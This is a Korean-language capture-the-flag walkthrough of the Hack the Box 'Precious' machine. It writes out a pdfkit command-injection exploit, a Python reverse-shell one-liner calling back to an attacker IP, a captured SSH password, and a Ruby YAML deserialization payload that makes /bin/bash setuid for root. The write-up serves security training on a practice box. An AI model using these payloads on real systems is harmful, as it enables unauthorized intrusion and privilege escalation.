Hack the Box Precious 문제를 풀어 봅시다.
Port Scanning
nmap 스캐닝 결과를 아래와 같습니다. ssh 서비스와 http 서비스가 열려있습니다. ssh의 계정 정보는 모르기 때문에 http 서비스에 접속해 볼 수 있습니다.
hosts 파일에 precious.htb
를 등록하면 웹 페이지에 접근할 수 있습니다.
Command Injection
Page to PDF 기능을 이용하여 내 서버를 입력하게 되면(10.10.14.55:8000) pdf가 생성되는 것을 볼 수 있습니다.
변환된 pdf를 다운로드를 받을 수 있습니다. pdfkit v0.8.6 을 사용한 것을 확인할 수 있으며 해당 버전은 Command Injection 취약점이 있는 버전이며 CVE-2022-25765의 취약점이 존재합니다.
pdfkit v0.8.6 PoC 해당 링크를 통해 PoC를 확인할 수 있습니다.
URL에 whoami
명령어를 삽입했을 때 PDF에 결과를 확인할 수 있습니다.
Reverse Shell
Reverse Shell을 연결하기 위해 코드를 작성합니다.
1
python3 -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("10.10.14.55",9001));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);import pty; pty.spawn("bash")'
해당 코드를 넣게 되면 성공적으로 리버스 쉘을 연결할 수 있습니다.
1
http://10.10.14.55:8000/?name=%20`python3 -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("10.10.14.55",9001));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);import pty; pty.spawn("bash")'`
ruby 계정으로 쉘 연결에 성공했으며 /home/henry
디렉토리에서 user flag를 확인할 수 있는데 현재 계정은(ruby)이라서 other 권한은 읽을 수가 없기 떄문에 Flag 파일을 읽을 수 없습니다.
이것저것 파일을 다 뒤져보다 /home/ruby/.bundle/config
파일에서 ssh 계정으로 추측되는 파일을 획득할 수 있습니다.
SSH Connection
획득한 henry 계정으로 ssh에 연결할 수 있습니다.
1
2
ssh henry@10.10.11.189
Q3c1AqGHtoI0aXAYFH
해당 계정은 uid, gid(henry)이기 때문에 user.txt
파일을 읽을 수 있습니다.
Privilige Escalation
sudo -l
명령어 입력 시 /opt/update_dependencies.rb
파일이 root파일로 실행됨을 알 수 있습니다.
update_dependencies.rb
파일의 내용은 아래와 같습니다.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
# Compare installed dependencies with those specified in "dependencies.yml"
require "yaml"
require 'rubygems'
# TODO: update versions automatically
def update_gems()
end
def list_from_file
YAML.load(File.read("dependencies.yml"))
end
def list_local_gems
Gem::Specification.sort_by{ |g| [g.name.downcase, g.version] }.map{|g| [g.name, g.version.to_s]}
end
gems_file = list_from_file
gems_local = list_local_gems
gems_file.each do |file_name, file_version|
gems_local.each do |local_name, local_version|
if(file_name == local_name)
if(file_version != local_version)
puts "Installed version differs from the one specified in file: " + local_name
else
puts "Installed version is equals to the one specified in file: " + local_name
end
end
end
end
해당 코드에서 YAML,Load()
를 사용하는데 해당 함수는 역직렬화 취약점이 존재합니다. YAML 역직렬화 취약점 링크를 통해 취약점의 내용을 확인 할 수 있습니다.
dependencies.yml
파일 생성 후 Payload를 작성합니다. 파일은 henry 폴더에 존재해야 합니다.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
---
- !ruby/object:Gem::Installer
i: x
- !ruby/object:Gem::SpecFetcher
i: y
- !ruby/object:Gem::Requirement
requirements:
!ruby/object:Gem::Package::TarReader
io: &1 !ruby/object:Net::BufferedIO
io: &1 !ruby/object:Gem::Package::TarReader::Entry
read: 0
header: "abc"
debug_output: &1 !ruby/object:Net::WriteAdapter
socket: &1 !ruby/object:Gem::RequestSet
sets: !ruby/object:Net::WriteAdapter
socket: !ruby/module 'Kernel'
method_id: :system
git_set: chmod +s
method_id: :resolve
sudo
명령을 이용하여 /usr/bin/ruby/
/opt/update_dependencies.rb
파일을 실행하면 /bin/bash
에 setUID
가 설정됩니다.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
henry@precious:~$ sudo /usr/bin/ruby /opt/update_dependencies.rb
sh: 1: reading: not found
Traceback (most recent call last):
33: from /opt/update_dependencies.rb:17:in `<main>'
32: from /opt/update_dependencies.rb:10:in `list_from_file'
31: from /usr/lib/ruby/2.7.0/psych.rb:279:in `load'
30: from /usr/lib/ruby/2.7.0/psych/nodes/node.rb:50:in `to_ruby'
29: from /usr/lib/ruby/2.7.0/psych/visitors/to_ruby.rb:32:in `accept'
28: from /usr/lib/ruby/2.7.0/psych/visitors/visitor.rb:6:in `accept'
27: from /usr/lib/ruby/2.7.0/psych/visitors/visitor.rb:16:in `visit'
26: from /usr/lib/ruby/2.7.0/psych/visitors/to_ruby.rb:313:in `visit_Psych_Nodes_Document'
25: from /usr/lib/ruby/2.7.0/psych/visitors/to_ruby.rb:32:in `accept'
24: from /usr/lib/ruby/2.7.0/psych/visitors/visitor.rb:6:in `accept'
23: from /usr/lib/ruby/2.7.0/psych/visitors/visitor.rb:16:in `visit'
22: from /usr/lib/ruby/2.7.0/psych/visitors/to_ruby.rb:141:in `visit_Psych_Nodes_Sequence'
21: from /usr/lib/ruby/2.7.0/psych/visitors/to_ruby.rb:332:in `register_empty'
20: from /usr/lib/ruby/2.7.0/psych/visitors/to_ruby.rb:332:in `each'
19: from /usr/lib/ruby/2.7.0/psych/visitors/to_ruby.rb:332:in `block in register_empty'
18: from /usr/lib/ruby/2.7.0/psych/visitors/to_ruby.rb:32:in `accept'
17: from /usr/lib/ruby/2.7.0/psych/visitors/visitor.rb:6:in `accept'
16: from /usr/lib/ruby/2.7.0/psych/visitors/visitor.rb:16:in `visit'
15: from /usr/lib/ruby/2.7.0/psych/visitors/to_ruby.rb:208:in `visit_Psych_Nodes_Mapping'
14: from /usr/lib/ruby/2.7.0/psych/visitors/to_ruby.rb:394:in `revive'
13: from /usr/lib/ruby/2.7.0/psych/visitors/to_ruby.rb:402:in `init_with'
12: from /usr/lib/ruby/vendor_ruby/rubygems/requirement.rb:218:in `init_with'
11: from /usr/lib/ruby/vendor_ruby/rubygems/requirement.rb:214:in `yaml_initialize'
10: from /usr/lib/ruby/vendor_ruby/rubygems/requirement.rb:299:in `fix_syck_default_key_in_requirements'
9: from /usr/lib/ruby/vendor_ruby/rubygems/package/tar_reader.rb:59:in `each'
8: from /usr/lib/ruby/vendor_ruby/rubygems/package/tar_header.rb:101:in `from'
7: from /usr/lib/ruby/2.7.0/net/protocol.rb:152:in `read'
6: from /usr/lib/ruby/2.7.0/net/protocol.rb:319:in `LOG'
5: from /usr/lib/ruby/2.7.0/net/protocol.rb:464:in `<<'
4: from /usr/lib/ruby/2.7.0/net/protocol.rb:458:in `write'
3: from /usr/lib/ruby/vendor_ruby/rubygems/request_set.rb:388:in `resolve'
2: from /usr/lib/ruby/2.7.0/net/protocol.rb:464:in `<<'
1: from /usr/lib/ruby/2.7.0/net/protocol.rb:458:in `write'
/usr/lib/ruby/2.7.0/net/protocol.rb:458:in `system': no implicit conversion of nil into String (TypeError)
henry@precious:~$ ls -al /bin/bash
-rwsr-sr-x 1 root root 1234376 Mar 27 2022 /bin/bash
/bin/bash -p
쉘을 실행하게 되면 루트 권한을 획득할 수 있습니다.
1
2
3
4
5
henry@precious:~$ /bin/bash -p
bash-5.1# id
\uid=1000(henry) gid=1000(henry) euid=0(root) egid=0(root) groups=0(root),1000(henry)
bash-5.1#